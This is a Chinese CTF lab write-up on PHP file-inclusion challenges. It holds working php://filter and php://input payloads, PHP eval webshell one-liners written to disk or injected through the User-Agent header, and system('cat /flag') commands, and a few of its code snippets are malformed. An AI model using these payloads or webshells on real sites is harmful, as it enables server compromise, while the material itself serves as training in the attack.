CTFshow web4
题目场景
打开题目链接,如下图所示:
考点:文件包含(a kind of 代码注入)
1、定义
2、常见类型
- include()
- include_once()
- require()
- require_once()
3、解题思路
判断远程文件包含:下列两项都处于ON模式
4、Demos
1.demo1
2.demo2
https://www.php.net/manual/zh/wrappers.php
http://4.chinalover.sinaapp.com/web7/index.php
点击”click me?no“ 发现如下:
?file=php://filter/read=convert.base64-encode/resource=index.php
- 这道题不知道绝对路径,所以排除file协议用filter。
- ”resource=“,可以指定要筛选的数据流。
- ”read=“,可以设定过滤器的名称。
- 读取index.php的内容,并把输入流进行base64编码输出。
- 进行base64编码是因为:不编码会被当成php文件执行,就无法看见flag内容。
3、demo3
条件:只要allow_url_include=on便可以。
代码审计
注释:
1.看php.ini文件
2.rfi:Remote file inclusion. 不能使用远程文件包含。
访问php.ini文件,发现allow_url_include=on尝试使用php://input写入木马。
木马文件
<?phpfputs(fopen("shell.php","w"),'<?php eval($_POST["xxx"]);?>')?>
使用HackBar上传php木马,生成shell.php的木马文件。
连接,访问flag.txt。
4.demo4
双开启:考虑远程文件包含
?param=url
一句话木马:<?phpeval(POST['hacker'])?>
知识点
- PHP 是一种创建动态交互性站点的强有力的服务器端脚本语言。(PHP是一个拥有众多开发者的开源软件项目,最开始是Personal Home Page的缩写,已经正式更名为 “PHP: Hypertext Preprocessor”:超文本预处理器)
- PHP 脚本以 <?php** 开始,以 **?> 结束:
<?php// PHP 代码?>
- include()。在 PHP 中,您可以在服务器执行 PHP 文件之前在该文件中插入一个文件的内容。include 和 require 语句用于在执行流中插入写在其他文件中的有用的代码。
- 在 PHP 中,预定义的 $_GET 变量用于收集来自 method=“get” 的表单中的值。预定义的 $_GET 变量用于收集来自 method=“get” 的表单中的值。从带有 GET 方法的表单发送的信息,对任何人都是可见的(会显示在浏览器的地址栏),并且对发送信息的量也有限制。
- 预定义的 $_POST 变量用于收集来自 method=“post” 的表单中的值。从带有 POST 方法的表单发送的信息,对任何人都是不可见的(不会显示在浏览器的地址栏),并且对发送信息的量也没有限制。
- 包含日志文件,查看日志文件的信息,可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,Referer,User-Agent等HTTP请求的信息
- eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
<?phpeval($_POST['a']);?>
使用代理工具将<?php eval($_POST['a']);?>插入到”User-Agent“后面而不是另起一行!
- 通过剑蚁连接,密码伟为<?php eval($_POST['a']);?>中的”a“
- 使用文件管理功能找到flag.txt.得到flag。
CTFHub文件包含实战
1、文件包含
题目场景:
<?php
error_reporting(0); //取消报错
if (isset($_GET['file'])) { //判断是否通过get接收到参数”file“
if (!strpos($_GET["file"], "flag")) { //判断接收到的file参数中是否包含”flag”字段
include $_GET["file"];//如果接收到的内容不含flag字段,就include包含文件
}
else {
echo "Hacker!!!"; //不满足if条件,即包含有flag,打印出“Hacker!!!”
}
} else {
highlight_file(__FILE__); //highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。
}
?>
点击shell之后出现如下页面:
<?phpeval($_REQUEST['ctfhub']);?>//密码为ctfhub的一句话木马
解题思路:
现在题目已经给了我们一句话木马,我们应该想该如何去使用它,即是如何将shell.txt中的内容放到index.php中
根据源码,构造payloa上传木马文件。
剑蚁连接得到flag。
其中剑蚁连接后手动去找flag比较麻烦,推荐使用虚拟终端然后输入: cat /flag
2、php://input
查看phpinfo发现allow_url_include=on,即可以使用php://input
<?phpsystem("ls /")?>//显示根目录
成功执行,发现flag文件
<?phpsystem("cat /flag_16467")?>//查找显示flag文件
得到flag
3、读取源代码
题目页面场景:
file参数内容里前6个字符必须是
php://
考虑使用php://filter,其可以作为一个中间流来处理其他流,具有四个参数:
名称描述备注resource=<要过滤的数据流>指定了你要筛选过滤的数据流。必选read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符()分隔。write=<写链的筛选列表>可以设定一个或多个过滤器名称,以管道符()分隔。<;两个链的筛选列表>任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
直接构造payload:
/?file=php://filter/read=convert.base64-encode/resource=/flag
然后base64解码得到flag。
4、远程包含
另一种方法的思路是:在服务器上建立一个一句话木马文件,然后上传到目标网页上。后用剑蚁连接得到flag。(我暂时没有用服务器就没采用这种方法。)
版权归原作者 Cyber Striver 所有, 如有侵权,请联系我们删除。